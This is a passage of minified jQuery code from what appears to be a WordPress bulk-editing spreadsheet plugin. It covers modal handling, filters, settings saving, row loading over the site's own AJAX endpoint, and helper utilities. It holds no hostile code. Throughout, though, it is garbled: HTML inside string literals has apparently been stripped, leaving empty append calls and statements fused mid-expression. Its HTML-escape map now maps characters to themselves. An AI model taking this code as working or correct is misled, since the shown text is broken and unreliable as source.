n(),loading_ajax({estado:!1}),!0;t.find(".save-trigger").each(function(){jQuery(this).trigger("click")});var a=t.find(".save-trigger").length,r=setInterval(function(){t.find(".save-trigger").filter(function(){return"yes"===jQuery(this).data("saved")}).length===a&&(clearInterval(r),n(),loading_ajax({estado:!1}))},800)}),e.find(".save-trigger").on("click",function(e){e.preventDefault();var t=jQuery(this),o=t.parents("form"),a=o.data("callback");jQuery.post(o.attr("action"),o.serializeArray(),function(e){t.data("saved","yes"),a&&vgseExecuteFunctionByName(a,window,{response:e,form:o})})})}),jQuery(document).ready(function(){jQuery("body").on("click",".form-submit-outside",function(e){e.preventDefault(),jQuery(this).parents(".remodal").find("form .form-submit-inside").trigger("click")}),jQuery(document).on("opened",".remodal",function(e){var t=jQuery(document).scrollTop(),o=jQuery("#infinito").prop("checked");jQuery("#infinito").prop("checked",!1),jQuery("body").data("temp-status",o).data("temp-scrolltop",t);var a=jQuery("html,body").scrollLeft();jQuery("body").data("temp-scrollleft",a)}),jQuery(document).on("closed",".remodal",function(){var e=jQuery("body").data("temp-scrolltop"),t=jQuery("body").data("temp-scrollleft"),o=jQuery("body").data("temp-status");e&&jQuery(window).scrollTop(e),t&&jQuery("html,body").scrollLeft(t),o&&jQuery("#infinito").prop("checked",o)}),jQuery("body").on("click","[data-wpse-remodal-target]",function(){vgseGoToModal(jQuery(this).data("wpse-remodal-target"))})}),jQuery(document).ready(function(){jQuery("body").on("click",".button-custom-modal-editor",function(e){e.preventDefault();var t=jQuery(this),o=t.data(),a=t.parent("td");if(a.length){var r=hot.getCoords(a[0]);if(window.wpseCurrentPopupSourceCoords=r,o.modalSettings.use_new_handsontable_renderer){var n=hot.getDataAtCell(window.wpseCurrentPopupSourceCoords.row,window.wpseCurrentPopupSourceCoords.col);window.wpseCurrentPopupSourceCoords.cellValue=n?JSON.parse(n):{}}}window.hotModalCache||(window.hotModalCache={}),window.hotModalCache[o.modalSettings.post_id]||(window.hotModalCache[o.modalSettings.post_id]={});var s=jQuery(".custom-modal-editor");if(a.length){var i=hot.countRows(),d=r.row;0===d?s.find("button.anterior").hide():s.find("button.anterior").show(),d===i-1?s.find("button.siguiente").hide():s.find("button.siguiente").show(),s.find("button.anterior").data("pos",d-1),s.find("button.siguiente").data("pos",d+1)}if("metabox"===o.modalSettings.type)var l=null;else"string"==typeof(l=window.hotModalCache&&window.hotModalCache[o.modalSettings.post_id][o.modalSettings.edit_modal_save_action]?window.hotModalCache[o.modalSettings.post_id][o.modalSettings.edit_modal_save_action]:o.existing)&&(l=l||"{}",l=JSON.parse(l));var u={button:t,modalSettings:o.modalSettings,existing:l};window.vgseWCAttsCurrent=u,setTimeout(function(){s.remodal().open()},500),s.addClass("modal-editor-"+o.modalSettings.key)}),jQuery("body").on("click",".custom-modal-editor .remodal-cancel",function(e){var t=jQuery(this).parents(".custom-modal-editor"),o=window.vgseWCAttsCurrent;o.modalSettings.edit_modal_cancel_action&&(loading_ajax({estado:!0}),o.modalSettings.edit_modal_cancel_action.replace("js_function_name:","").split(",").forEach(function(e){vgseExecuteFunctionByName(e,t.find("iframe")[0].contentWindow)}),loading_ajax(!1))}),jQuery("body").on("click",".custom-modal-editor .save-changes-handsontable",function(e){var o=jQuery(this).parents(".custom-modal-editor"),a=jQuery(".remodal-bg").data("nonce"),r=window.vgseWCAttsCurrent;if(loading_ajax({estado:!0}),"handsontable"===r.modalSettings.type)var n=hotAttr.getSourceData();else if("metabox"===r.modalSettings.type)if(-1'),e.find(".modal-post-title").html(t.modalSettings.post_title),t.modalSettings.edit_modal_title&&e.find(".modal-general-title").html(t.modalSettings.edit_modal_title+": "),t.modalSettings.edit_modal_description&&e.find(".modal-description").html(t.modalSettings.edit_modal_description),e.find(".modal-general-title, .modal-description").show(),window.hotModalCache||(window.hotModalCache={}),window.hotModalCache[t.modalSettings.post_id]||(window.hotModalCache[t.modalSettings.post_id]={}),t.modalSettings.edit_modal_get_action){var o=jQuery(".remodal-bg").data("nonce");jQuery.get(vgse_global_data.ajax_url,{action:t.modalSettings.edit_modal_get_action,nonce:o,postId:t.modalSettings.post_id}).done(function(e){initHandsontableForPopup(e.data,t.modalSettings)})}else{if(window.hotModalCache&&window.hotModalCache[t.modalSettings.post_id][t.modalSettings.edit_modal_save_action])var a=window.hotModalCache[t.modalSettings.post_id][t.modalSettings.edit_modal_save_action];else a=t.existing;initHandsontableForPopup(a,t.modalSettings)}}),jQuery("body").on("click","button.remodal-confirm, a.remodal-cancel, .media-button-insert",function(e){"submit"===jQuery(this).attr("type")||jQuery(this).hasClass("submit")||e.preventDefault()})}),jQuery(document).ready(function(){jQuery(".vgse-current-filters").on("click",".button",function(e){e.preventDefault();var t=jQuery(this),o=hot.getSourceData();if((o=beGetModifiedItems(o,window.beOriginalData)).length)return alert(vgse_editor_settings.texts.save_changes_before_remove_filter),!0;var a=[];t.hasClass("remove-all-filters")?(jQuery(".vgse-current-filters .button:not(.remove-all-filters)").each(function(){a.push(jQuery(this).data("filter-key"))}),jQuery(".vgse-current-filters .button").remove(),jQuery("body").data("be-filters",{})):(a.push(t.data("filter-key")),t.remove()),a.forEach(function(e){e&&(jQuery("#be-filters").find("input,select,textarea").filter(function(){return jQuery(this).attr("name")===e&&"checkbox"!==jQuery(this).attr("type")}).val("").trigger("change"),jQuery("#be-filters").find("input:checkbox").filter(function(){return jQuery(this).attr("name")===e}).prop("checked",!1).trigger("change"),beAddRowsFilter(e+"="))}),vgseReloadSpreadsheet()})}),jQuery(document).ready(function(){var o=jQuery(".post-type-setup-wizard");if(!o.length)return!1;o.find("form.inline-add").on("submit",function(e){var t=jQuery(this),o=t.data("callback");return jQuery.ajax({method:t.attr("method"),url:t.attr("action"),data:t.serialize()+"¤t_post_type="+jQuery(".post-types-form input:radio:checked").val()}).done(function(e){t.find("input:text").val(""),t.find("input:text").first().focus(),vgseExecuteFunctionByName(o,window,{response:e,form:t})}),!1});var e=o.find(".post-types-form").data("custom-post-types").split(",");jQuery.each(e,function(e,t){o.find(".post-types-form .post-type-"+t).append('')}),o.on("click",".vgse-delete-post-type",function(e){e.preventDefault();var t=jQuery(this).data("post-type");if(!confirm(o.find(".post-types-form").data("confirm-delete")))return!0;jQuery.post(vgse_global_data.ajax_url,{post_type:t,action:"vgse_delete_post_type",nonce:jQuery(".post-type-setup-wizard").data("nonce")},function(e){e.success&&(notification({mensaje:e.data.message,tipo:"success",tiempo:3e3}),o.find(".post-types-form .post-type-"+t).remove())})})}),jQuery(document).ready(function(){var t=jQuery(".quick-setup-page-content .post-type-field input");if(!t.length)return!1;var a=jQuery(".quick-setup-page-content .post-types-enabled");t.on("change",function(e){a.empty(),t.each(function(){var e=jQuery(this).val();if(jQuery(this).is(":checked")){var t=jQuery(this).siblings("label").text(),o='Edit '+vgseStripHtml(t)+" - ";a.append(o)}})})}),jQuery(document).ready(function(){jQuery("body").on("change","input.wpse-set-settings, textarea.wpse-set-settings, select.wpse-set-settings",function(e){e.preventDefault();var t=jQuery(this).attr("name"),o=jQuery(this).val(),a=parseInt(jQuery(this).data("reload-after-success")),r=parseInt(jQuery(this).data("silent-action"));if(!t)return!0;vgseSetSettings([{name:"settings["+t+"]",value:o}],a,r)}),jQuery("body").on("click","a.wpse-set-settings",function(e){e.preventDefault();var t=jQuery(this).data("name"),o=jQuery(this).data("value"),a=parseInt(jQuery(this).data("reload-after-success")),r=parseInt(jQuery(this).data("silent-action"));if(!t)return!0;vgseSetSettings([{name:"settings["+t+"]",value:o}],a,r)}),jQuery("body").on("submit","form.wpse-set-settings",function(e){var t=parseInt(jQuery(this).data("reload-after-success")),o=parseInt(jQuery(this).data("silent-action"));return vgseSetSettings(jQuery(this).serializeArray(),t,o),!1}),jQuery(".tabs-links a").on("click",function(e){e.preventDefault(),jQuery(".tabs-links a").removeClass("tab-active"),jQuery(this).addClass("tab-active");var t=jQuery(this).attr("href").replace("#",""),o=jQuery(this).parents(".tabs-links"),a=o.next().find("."+t);o.next().find(".tab-content").hide(),a.show()}),jQuery(".tabs-links").each(function(){jQuery(this).find("a").first().click()})}),jQuery(document).ready(function(){jQuery(".toolbar-submenu [data-saved-item]").each(function(){jQuery(this).after('')}),jQuery("body").on("click",".wpse-delete-saved-item",function(e){e.preventDefault();var t=jQuery(this),o="confirm_delete_"+t.prev().data("saved-type")+"_item";if(vgse_editor_settings.texts[o]&&!confirm(vgse_editor_settings.texts[o]))return!1;var a={nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:jQuery("#post-data").data("post-type"),action:"vgse_delete_saved_"+t.prev().data("saved-type"),search_name:t.prev().data("item-name")},r=t.prev().data("reload");t.parent().remove(),jQuery.post(vgse_global_data.ajax_url,a,function(e){r&&window.location.reload()})})}),jQuery(document).ready(function(){if(!jQuery(".vg-toolbar .button-container.require-click-to-expand").length)return!0;jQuery(".vg-toolbar .require-click-to-expand > button").on("click",function(e){var t=jQuery(this).parent();jQuery(".vg-toolbar .require-click-to-expand.expand-submenu").not(t).removeClass("expand-submenu"),t.toggleClass("expand-submenu")}),jQuery("body").on("click",function(e){var t=jQuery(e.target);!jQuery(".button-container.expand-submenu").length||t.parents(".require-click-to-expand").length||t.parents(".select2-container").length||jQuery(".vg-toolbar .button-container.require-click-to-expand.expand-submenu").removeClass("expand-submenu")})}),jQuery(document).ready(function(){vgseInitLazySelects()}),jQuery(document).ready(function(){if(jQuery(window).width()<768)return!0;var e=jQuery(".remodal.remodal-draggable");if(!e.length)return!0;e.each(function(){var e,t,o,a,r,n,s=jQuery(this);function i(e){(e=e||window.event).preventDefault(),r=e.clientX,n=e.clientY,document.onmouseup=l,document.onmousemove=d}function d(e){(e=e||window.event).preventDefault(),o=r-e.clientX,a=n-e.clientY,r=e.clientX,n=e.clientY,t.style.top=t.offsetTop-a+"px",t.style.left=t.offsetLeft-o+"px"}function l(){document.onmouseup=null,document.onmousemove=null}s.append(''),e=s.find(".drag-modal")[0],t=s[0],n=r=a=o=0,document.getElementById(e.id+"header")?document.getElementById(e.id+"header").onmousedown=i:e.onmousedown=i}),jQuery(document).on("opened",".remodal",function(e){var t=jQuery(this);t.hasClass("remodal-draggable")&&t.css({left:t[0].offsetLeft,position:"absolute",top:t[0].offsetTop})}),jQuery(document).on("closed",".remodal",function(e){var t=jQuery(this);t.hasClass("remodal-draggable")&&t.css({left:"",position:"",top:""})})}),jQuery(document).ready(function(){var $=jQuery;function r(a){$.get(vgse_global_data.ajax_url,{action:a.data("ajax-action"),nonce:jQuery(".remodal-bg").data("nonce"),postType:vgse_editor_settings.post_type,post_type:vgse_editor_settings.post_type,is_editor_page:!0},function(e){if(e.success){var t=jQuery(e.data.html);if(a.hasClass("custom-ajax-insert")||a.find(".modal-content").replaceWith(t.find(".modal-content")),a.removeClass("lazy-modal-content"),a.trigger("vgSheetEditor:remodal:ajaxContentInserted",e),$("body").trigger("vgSheetEditor:remodal:ajaxContentInserted",e),a.data("live-refresh")&&!a.data("intervalId")){var o=setInterval(function(){a.data("pauseAutoReload")||r(a)},1e3*parseInt(a.data("live-refresh")));a.data("intervalId",o)}}})}jQuery(document).on("opening",".remodal[data-ajax-action]",function(){r(jQuery(this))}),jQuery(document).on("closed",".remodal[data-ajax-action]",function(){var e=parseInt(jQuery(this).data("intervalId"));e&&(clearInterval(e),jQuery(this).data("intervalId",!1))}),jQuery(document).on("vgSheetEditor:refreshRemodalContent",".remodal[data-ajax-action]",function(){jQuery(this).is(":visible")&&r(jQuery(this))})}),jQuery(document).ready(function(){if("undefined"==typeof hot)return!0;hot.updateSettings({cells:function(e,t,o){var a=this.instance.toVisualRow(e),r={},n=this.className||"";n=n.replace(/bg-[a-z0-9]+/gi,""),"object"==typeof vgse_editor_settings.columnsBackgroundColors&&"string"==typeof vgse_editor_settings.columnsBackgroundColors[o]&&vgse_editor_settings.columnsBackgroundColors[o]&&(n+=" bg-"+vgse_editor_settings.columnsBackgroundColors[o].replace("#","")),vgse_editor_settings.add_html_class_status_value&&"post_status"===o&&(n=n.replace(/status-[a-zA-Z]+/g,""),(d=hot.getDataAtCell(a,t))&&(n+=" status-"+d.replace(/[^a-zA-Z]+/g,""))),r.className=n;var s=vgse_editor_settings.final_spreadsheet_columns_settings[o];if(s&&(s.is_locked||!vgse_editor_settings.watch_cells_to_lock&&"post_status"!==o||(d=hot.getDataAtCell(a,t))&&"string"==typeof d&&-1").attr("value",vgseStripHtml(e)).text(vgseStripHtml(e));o.$select.append(t)}),o.$select.trigger("chosen:updated"),o.setValue(a),o.$parent.find(".search-field").removeClass("wpse-is-loading")};var r=function(e,t){t&&t.selected&&(this.$select.find("option").filter(function(){return jQuery(this).val()===t.selected}).appendTo(this.$select),this.$select.trigger("chosen:updated"))},n=function(){this.cellProperties.chosenOptions.multiple||(this.close(),this.finishEditing())},i=function(e){var t=this.getActiveEditor(),o=s.helper.KEY_CODES,a=(e.ctrlKey||e.metaKey)&&!e.altKey;if("INPUT"===e.target.tagName)if(17!==e.keyCode&&224!==e.keyCode&&91!==e.keyCode&&93!==e.keyCode){var r=e.target;switch(e.keyCode){case o.ARROW_RIGHT:s.dom.getCaretPosition(r)!==r.value.length?e.stopImmediatePropagation():t.$select.trigger("chosen:close");break;case o.ARROW_LEFT:0!==s.dom.getCaretPosition(r)?e.stopImmediatePropagation():t.$select.trigger("chosen:close");break;case o.ENTER:t.cellProperties.chosenOptions.multiple&&(e.stopImmediatePropagation(),e.preventDefault(),e.stopPropagation());break;case o.A:case o.X:case o.C:case o.V:a&&e.stopImmediatePropagation();break;case o.BACKSPACE:var n=jQuery(t.TEXTAREA_PARENT).find("input").val();jQuery(t.TEXTAREA_PARENT).find("input").val(n.substr(0,n.length-1)).trigger("keyup.chosen"),e.stopImmediatePropagation();break;case o.DELETE:case o.HOME:case o.END:e.stopImmediatePropagation()}}else e.stopImmediatePropagation()};e.prototype.close=function(){this.setValue(this.getValue()),s.editors.SelectEditor.prototype.close.apply(this,arguments),this.instance.removeHook("beforeKeyDown",i),this.$parent.hide(),this.$select.off(),this.$select.hide()},e.prototype.finishEditing=function(e,t){return s.editors.SelectEditor.prototype.finishEditing.apply(this,arguments)},e.prototype.beginEditing=function(e,t){var o=this.instance.getSettings().onBeginEditing;if(!o||!1!==o()){var a=this;t instanceof KeyboardEvent&&"Enter"===t.key?setTimeout(function(){s.editors.SelectEditor.prototype.beginEditing.apply(a,arguments)},250):s.editors.SelectEditor.prototype.beginEditing.apply(this,arguments)}},e.prototype.getValue=function(){var e=function(e){for(var t,o=[],a=e&&e.options,r=0,n=a.length;r");var t=null,a=(this.originalValue+"").split(vgse_editor_settings.taxonomy_terms_separator).map(function(e){return e.trim()});if(e.data&&e.data.length)for(var r=0;r")).attr("value",e.data[r].id),t.html(e.data[r].label),-1").attr({value:n,"data-value-type":t.value_type||"text"}).text(o);l.push(s.prop("outerHTML"))}}}),e?l.join(""):l)}function vgseEscapeHTML(e){var t={"&":"&","<":"<",">":">",'"':""","'":"'"};return e.replace(/[&<>"']/g,function(e){return t[e]})}function vgseToggleFullScreen(e){if("number"!=typeof e)e="block"===jQuery(".wpse-full-screen-notice-content.notice-on").css("display")||jQuery(window).scrollLeft()>jQuery("#adminmenuwrap").width();e?(jQuery(".wpse-full-screen-notice-content.notice-on").hide(),jQuery(".wpse-full-screen-notice-content.notice-off").show(),jQuery("html").removeClass("wpse-full-screen"),jQuery("html,body").scrollTop(0),jQuery("html,body").scrollLeft(0),window.wpseFullScreenActive=!1):(jQuery(".wpse-full-screen-notice-content.notice-on").show(),jQuery(".wpse-full-screen-notice-content.notice-off").hide(),jQuery("html").addClass("wpse-full-screen"),window.wpseFullScreenActive=!0)}function vgseFormatDate(){var e=new Date,t=""+(e.getMonth()+1),a=""+e.getDate(),r=e.getFullYear();return t.length<2&&(t="0"+t),a.length<2&&(a="0"+a),[r,t,a].join("-")}function vgseGuidGenerator(){function e(){return(65536*(1+Math.random())|0).toString(16).substring(1)}return e()+e()+"-"+e()+"-"+e()+"-"+e()+"-"+e()+e()+e()}function vgseCustomTooltip(e,t,a,r,o){a=a||"down",e.attr({"data-wpse-tooltip":a,"aria-label":t,"data-wpse-visible":1,"data-wpse-tooltip-type":o}),e.on("hover",function(){e.removeAttr("data-wpse-visible")}),setTimeout(function(){r||e.removeAttr("data-wpse-tooltip"),e.removeAttr("data-wpse-visible")},8e3)}function vgseCleanObject(e){for(var t in e)e[t]||delete e[t]}function beParseParamsOld(e){for(var t={},a=e.split("&"),r=0;r .remodal");t.length?(t.one("closed",function(){jQuery('[data-remodal-id="'+e+'"]').remodal().open()}),t.remodal().close()):jQuery('[data-remodal-id="'+e+'"]').remodal().open()}function vgseDecodeURIComponentSafe(t){if(!t)return t;try{var a=decodeURIComponent(t.replace(/%(?![0-9][0-9a-fA-F]+)/g,"%25"))}catch(e){a=decodeURIComponent(t)}return a}function beAddRowsFilter(e){if(!e)return!1;var t=jQuery("body").data("be-filters"),a=vgseMergeDeep([t=t||{},"string"==typeof e?beParseParams(e):e]);vgseCleanObject(a);var r=jQuery(".vgse-current-filters");return r.find(".button").remove(),r.each(function(){var u=jQuery(this);jQuery.each(a,function(e,t){if(t&&e.indexOf("meta_query")<0){var a="string"==typeof t?t:t.join(", ");20<(a=vgseDecodeURIComponentSafe(vgseStripHtml(a))).length&&(a=a.substring(0,20)+"...");var r=e.replace("[]","").replace(/_/g," ");u.append(' '+r+": "+a+"")}}),a.meta_query&&jQuery.each(a.meta_query,function(e,t){var a=t.key;if(a){var r=t.value,o=t.compare;20<(r=vgseDecodeURIComponentSafe(vgseStripHtml(r))).length&&(r=r.substring(0,20)+"...");var n="meta_query["+e+"][key]";u.find(".advanced-filter").filter(function(){return jQuery(this).data("filter-key")===n}).remove(),u.append(' '+a+" "+o+" "+r+"")}}),jQuery(".advanced-filters-list > li").each(function(){var e=jQuery(this),t=e.find(".wpse-advanced-filters-field-selector"),a=t.val();if(a){var r=t.attr("name"),o=e.find(".wpse-advanced-filters-value-selector").val(),n=e.find(".wpse-advanced-filters-operator-selector option:selected"),s=n.data("custom-label")||n.text();"ANY"===s&&(o=o.replace(";"," OR ").replace(" "," "));var i="string"==typeof o?o:o.join(", ");20<(i=vgseDecodeURIComponentSafe(vgseStripHtml(i))).length&&(i=i.substring(0,20)+"..."),u.find(".advanced-filter").filter(function(){return jQuery(this).data("filter-key")===r}).remove(),u.append(' '+a+" "+s+" "+i+"")}}),u.find(".button").length?u.css("display","inline-block"):u.hide()}),1 '+vgse_editor_settings.texts.remove_all_filters+""):r.find(".remove-all-filters").remove(),jQuery("body").data("be-filters",a),a}function beAjaxLoop(e){var o=jQuery.extend({totalCalls:null,current:1,url:"",method:"GET",dataType:"json",data:{},prepareData:function(e,t){return e},onSuccess:function(e,t){},onError:function(e,t,a){},status:"running"},e);function n(){if(o.current
    '),jQuery(".sombra_popup").fadeIn(1e3)):jQuery(".sombra_popup").fadeOut(800,function(){})}function notification(e){var t={tipo:"success",mensaje:"",time:8600,position:"top"};jQuery.extend(t,e),setTimeout(function(){if("success"==t.tipo)var e="green";else if("error"==t.tipo)e="red";else if("warning"==t.tipo)e="orange";else e="blue";"bottom"===t.position?jQuery("#ohsnap").css({top:"auto",bottom:"5px"}):jQuery("#ohsnap").css({top:"",bottom:""}),jQuery("#ohsnap").css("z-index","1100000"),setTimeout(function(){jQuery("#ohsnap").css("z-index","-1")},t.time),jQuery("#ohsnap .alert").remove(),ohSnap(t.mensaje,{duration:t.time,color:e})},500)}function beLoadPosts(a,r,o,n){loading_ajax({estado:!0});var t=setTimeout(function(){jQuery(".wpse-stuck-loading").css("display","block")},5e3);jQuery(".automatic-loading-rows-disabled").remove(),o=o||!0,n=n||!1,a.action="vgse_load_data",a.wpse_source_suffix=vgse_editor_settings.wpse_source_suffix||"",a.paged||(a.paged=1),window.beCurrentPage=a.paged,a.filters=vgseGetFiltersJson(),window.beLastLoadRowsAjax=jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",type:"POST",data:a,success:function(e){if(1===window.beCurrentPage&&0===window.location.hash.indexOf("#after_init:")&&(jQuery('[data-remodal-id="'+window.location.hash.replace("#after_init:","")+'"]').remodal().open(),window.location.hash=""),jQuery(".wpse-stuck-loading").hide(),clearTimeout(t),e.data.pagination&&(jQuery(".pagination-links").empty().append(e.data.pagination),jQuery(".pagination-jump input").attr("max",e.data.max_pages)),jQuery("#vgse-wrapper").css("min-width",jQuery("#post-data .wtHider").width()),jQuery("body").trigger("vgSheetEditor:beforeRowsInsert",[e,a,r,o,n]),"function"==typeof r&&(r(e),o))return!0;e.success?(vgseAddFoundRowsCount(e.data.total),vgAddRowsToSheet(e.data.rows,null,n),notification({mensaje:e.data.message||vgse_editor_settings.texts.posts_loaded,tipo:"info"}),loading_ajax({estado:!1})):(loading_ajax({estado:!1}),notification({mensaje:e.data.message,tipo:"info"}),vgseAddFoundRowsCount(0))},error:function(e,t){100<=vgse_editor_settings.posts_per_page&&(500<=e.status||"timeout"===t)&&(window.vgseDontNotifyServerError=!0,vgse_editor_settings.posts_per_page=10,a.wpse_reset_posts_per_page=vgse_editor_settings.posts_per_page,beLoadPosts(a,r,o,n),setTimeout(function(){loading_ajax({estado:!0})},200))}})}function vgseMd5(e){var r="0123456789abcdef";function t(e){var t,a="";for(t=0;t<=3;t++)a+=r.charAt(e>>8*t+4&15)+r.charAt(e>>8*t&15);return a}function u(e,t){var a=(65535&e)+(65535&t);return(e>>16)+(t>>16)+(a>>16)<<16|65535&a}function i(e,t,a,r,o,n){return u((s=u(u(t,e),u(r,n)))<<(i=o)|s>>>32-i,a);var s,i}function a(e,t,a,r,o,n,s){return i(t&a|~t&r,e,t,o,n,s)}function o(e,t,a,r,o,n,s){return i(t&r|a&~r,e,t,o,n,s)}function n(e,t,a,r,o,n,s){return i(t^a^r,e,t,o,n,s)}function s(e,t,a,r,o,n,s){return i(a^(t|~r),e,t,o,n,s)}var d,l,c,p,f,g=function(e){var t,a=1+(e.length+8>>6),r=new Array(16*a);for(t=0;t<16*a;t++)r[t]=0;for(t=0;t>2]|=e.charCodeAt(t)<>2]|=128<'+e.data.message+"

    "),{results:[]};var t=e.data.data||[];if(e.data&&jQuery.isArray(e.data)&&"string"==typeof e.data[0]){var a=[];e.data.forEach(function(e){a.push({id:e,text:e})}),t=a}else if(e.data.data&&!jQuery.isArray(e.data.data)){a=[];for(var r in e.data.data)a.push({id:r,text:e.data.data[r]});t=a}return{results:t}},cache:!0}),jQuery(this).select2(e)})}function vgseReloadSpreadsheet(e,t,a){if(e){t=t||vgse_editor_settings.texts.save_changes_reload_optional;var r=hot.getSourceData();if((r=beGetModifiedItems(r,window.beOriginalData)).length)return alert(t),!0}var o=jQuery(".remodal-bg").data("nonce"),n=jQuery("#post-data");window.beOriginalData=[],hot.loadData([]),beLoadPosts({post_type:n.data("post-type"),nonce:o,paged:a||1})}function vgseAddFoundRowsCount(e){window.beFoundRows=e,jQuery(".be-total-rows .item-value").text(e),window.wpseUpdateBulkEditRowsCount&&(jQuery(".modal-formula .rows-to-be-updated-total span").text(e),window.wpseUpdateBulkEditRowsCount=!1)}function vgseGetRowTitle(e){var t=window.vgseFormulasBulkSelectorExists?2:1;return vgse_editor_settings.is_post_type?hot.getDataAtRowProp(e,"post_title"):hot.getDataAtCell(e,t)}function vgseInputToFormattedColumnField(s,i,e){if(void 0!==vgse_editor_settings.final_spreadsheet_columns_settings[s]){var o=vgse_editor_settings.final_spreadsheet_columns_settings[s],t=i.find(e),a=t.attr("name"),r=t.attr("class");if(!t.is("input")&&!t.is("textarea")||t.attr("type")&&"text"!==t.attr("type"))return!0;if(void 0!==o.formatted.editor&&"select"===o.formatted.editor)t.replaceWith('"),(n=i.find("select"+e)).each(function(){var a=jQuery(this),e=Object.keys(o.formatted.selectOptions),r="0"===e[0]&&jQuery.isNumeric(e[e.length-1]);jQuery.each(o.formatted.selectOptions,function(e,t){r&&(e=t),a.append('")})});else if(void 0!==o.formatted.type&&"autocomplete"===o.formatted.type&&"string"==typeof o.formatted.source&&"searchUsers"===o.formatted.source)t.replaceWith(''),i.find('input[list="wpse-bulk-edit-users-list-'+s+'"]').keyup(_throttle(function(e){var t=jQuery(this).val();if(!t)return!0;var a=jQuery(this);if(a.data("last-query")===t)return!0;a.data("last-query",t);var r=jQuery(".remodal-bg").data("nonce"),o=vgse_editor_settings.post_type,n=i.find("datalist#wpse-bulk-edit-users-list-"+s);jQuery.ajax({url:vgse_global_data.ajax_url,dataType:"json",data:{action:"vgse_find_users_by_keyword",search:t,nonce:r,post_type:o,wpse_source:"users_dropdown_column"},success:function(e){var t=[];e.success&&(t=e.data.data),n.empty(),t.forEach(function(e){n.append('")})}})},1500,{leading:!0,trailing:!0}));else if(void 0!==o.formatted.type&&"autocomplete"===o.formatted.type&&"object"==typeof o.formatted.source){t.replaceWith('"),(n=i.find("select"+e)).each(function(){var a=jQuery(this);jQuery.each(o.formatted.source,function(e,t){jQuery.isNumeric(e)&&(e=t),a.append('")})})}else if(void 0!==o.formatted.type&&"checkbox"===o.formatted.type){t.replaceWith(''),(n=i.find("input"+e+":checkbox")).after(''),n.on("change",function(){jQuery(this).is(":checked")?(jQuery(this).val(o.formatted.checkedTemplate),jQuery(this).data("checked-value",o.formatted.checkedTemplate),i.find(".wpse-hidden-value").val(o.formatted.checkedTemplate)):(jQuery(this).val(o.formatted.uncheckedTemplate),jQuery(this).data("unchecked-value",o.formatted.uncheckedTemplate),i.find(".wpse-hidden-value").val(o.formatted.uncheckedTemplate))}),n.trigger("change")}else if(void 0!==o.formatted.type&&"date"===o.formatted.type){var n;"wp_datetime"===o.formatted.editor?t.replaceWith(''):t.replaceWith(''),(n=i.find("input"+e)).after(''),n.on("change",function(){var e=jQuery(this).val();if(e){if("datetime-local"===n.prop("type"))var t=moment.utc(e,"YYYY-MM-DDTH:mm:ss");else t=moment.utc(e+" 0:00:00","YYYY-MM-DD H:mm:ss");if(!(a=o.formatted.customDatabaseFormatJs||o.formatted.dateFormatJs))var a=o.formatted.customDatabaseFormat||o.formatted.dateFormat;var r=t.format(a)}else r="";i.find(".wpse-hidden-value").val(r)}),n.trigger("change")}}}function vgseRemoveAllFilters(e){jQuery("body").data("be-filters",{}),jQuery(".vgse-current-filters .button").remove(),e&&vgseReloadSpreadsheet()}function vgseInitLazySelects(){jQuery("select[data-lazy-key]:not([data-already-lazy])").each(function(){vgseLazySelect(jQuery(this),jQuery(this).data("lazy-key"))})}function vgseLazySelect(r,o){if(r.attr("multiple"))return!0;vgse_editor_settings.lazy_loaded_select_options||(vgse_editor_settings.lazy_loaded_select_options={});function t(){var e=r.find("option:selected");e&&e.parent("optgroup").length&&e.parent("optgroup"),r.find("option").not(e).not(r.find('option[value=""]')).remove(),r.find("optgroup").each(function(){jQuery(this).children().length||jQuery(this).remove()})}var e={};vgse_editor_settings.lazy_loaded_select_options&&vgse_editor_settings.lazy_loaded_select_options[o]||(r.find("option").each(function(){jQuery(this).parent("optgroup").length?(void 0===e[jQuery(this).parent("optgroup").attr("label")]&&(e[jQuery(this).parent("optgroup").attr("label")]={}),e[jQuery(this).parent("optgroup").attr("label")][jQuery(this).val()]=jQuery(this).text()):e[jQuery(this).val()]=jQuery(this).text()}),vgse_editor_settings.lazy_loaded_select_options[o]=e),r.find("option").length||"string"!=typeof r.data("selected")||r.append('"),t(),r.on("focus",function(e){var t=vgse_editor_settings.lazy_loaded_select_options[o];if(t){var a=r.val();r.empty(),jQuery.each(t,function(a,e){"string"==typeof e?r.append('"):(r.append(''),jQuery.each(e,function(e,t){r.find('optgroup[label="'+vgseStripHtml(a)+'"]').append('")}))}),r.val(a)}}),r.on("blur",function(e){t()})}function vgseSetSettings(e,t,a){e.push({name:"nonce",value:jQuery("#vgse-wrapper").data("nonce")}),e.push({name:"action",value:"vgse_set_settings"}),a||loading_ajax(!0),jQuery.ajax({url:vgse_global_data.ajax_url,method:"POST",data:e,success:function(e){a||loading_ajax(!1),window.location.hash="",e.success&&t&&window.location.reload()}})}function vgseGetSelectedRowsCount(e){var t=window.beFoundRows;"selected"===e.find(".wpse-select-rows-options").val()&&(t=vgseGetSelectedIds().length);"previously_selected"===e.find(".wpse-select-rows-options").val()&&(t=(window.wpsePreviouslySelectedIds||[]).length);return t}function vgseGetSelectedIds(){if("wpseBulkSelector"===hot.propToCol("wpseBulkSelector"))return[];var e=hot.getDataAtCol(0),a=[];return e.forEach(function(e,t){e&&a.push(hot.getDataAtRowProp(t,"ID"))}),a}function vgseDeleteRowsById(t){loading_ajax(!0),jQuery.post(vgse_global_data.ajax_url,{action:"vgse_delete_row_ids",nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:vgse_editor_settings.post_type,ids:t},function(e){loading_ajax(!1),e.success?(notification({mensaje:e.data.message}),vgseRemoveRowFromSheetByID(t,!0)):notification({mensaje:e.data.message,tipo:"error",tiempo:6e4})})}void 0===Array.prototype.chunk&&Object.defineProperty(Array.prototype,"chunk",{value:function(a){var r=this;return[].concat.apply([],r.map(function(e,t){return t%a?[]:[r.slice(t,t+a)]}))}}),jQuery(document).ajaxError(function(e,t,a,r){loading_ajax({estado:!1}),"boolean"==typeof 